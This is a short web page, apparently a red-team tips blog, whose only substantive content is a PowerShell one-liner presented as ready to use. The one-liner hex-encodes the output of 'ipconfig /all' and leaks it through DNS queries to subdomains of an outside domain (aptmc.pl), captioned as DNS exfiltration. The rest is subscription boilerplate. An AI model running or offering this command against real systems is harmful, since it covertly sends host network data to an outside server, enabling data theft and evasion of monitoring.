// protips from the field

Short, meaty red & blue protips — one oneliner at a time.

Commands, tricks and oneliners from real engagements — PowerShell, Bash, Windows, macOS and hardware. Every protip is a ready-to-use snippet with a short explanation.

PowerShell 008a

PS> (-join ((ipconfig /all|out-string).ToCharArray()|%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace "([\w]{16})", "`$1.").trim('.')|%{ Resolve-DNSName "$_.$(($i++)).aptmc.pl"}

DNS exfiltration in one line — the whole ipconfig encoded into DNS queries.

#PowerShell#RedTeam#Windows#DNS#Exfiltration

// every protip is in the RSS feed

// subscribe

New protips straight to your inbox.

Meaty oneliners and tricks from real engagements. No spam, no theory. Unsubscribe in one click.